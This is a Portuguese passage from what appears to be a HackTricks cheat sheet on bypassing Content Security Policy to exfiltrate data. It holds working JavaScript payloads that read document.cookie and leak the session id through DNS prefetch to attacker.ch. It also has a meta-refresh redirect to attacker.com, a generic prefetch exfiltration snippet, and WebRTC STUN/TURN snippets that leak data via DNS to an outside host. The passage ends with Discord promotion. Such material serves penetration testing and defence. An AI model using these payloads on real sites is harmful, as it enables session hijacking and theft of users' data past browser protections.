Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior. Você pode indicar a um navegador para pré-resolver um nome de host com: <link rel="dns-prefetch" href="something.com">

Você poderia abusar desse comportamento para exfiltrar informações sensíveis via solicitações DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Outra maneira:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:

X-DNS-Prefetch-Control: off

Aparentemente, essa técnica não funciona em navegadores sem interface (bots)

WebRTC

Em várias páginas, você pode ler que WebRTC não verifica a política connect-src do CSP.

Na verdade, você pode leak informações usando uma solicitação DNS. Confira este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Outra opção:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificando Políticas CSP Online

Criando CSP Automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Suporte ao HackTricks

Last updated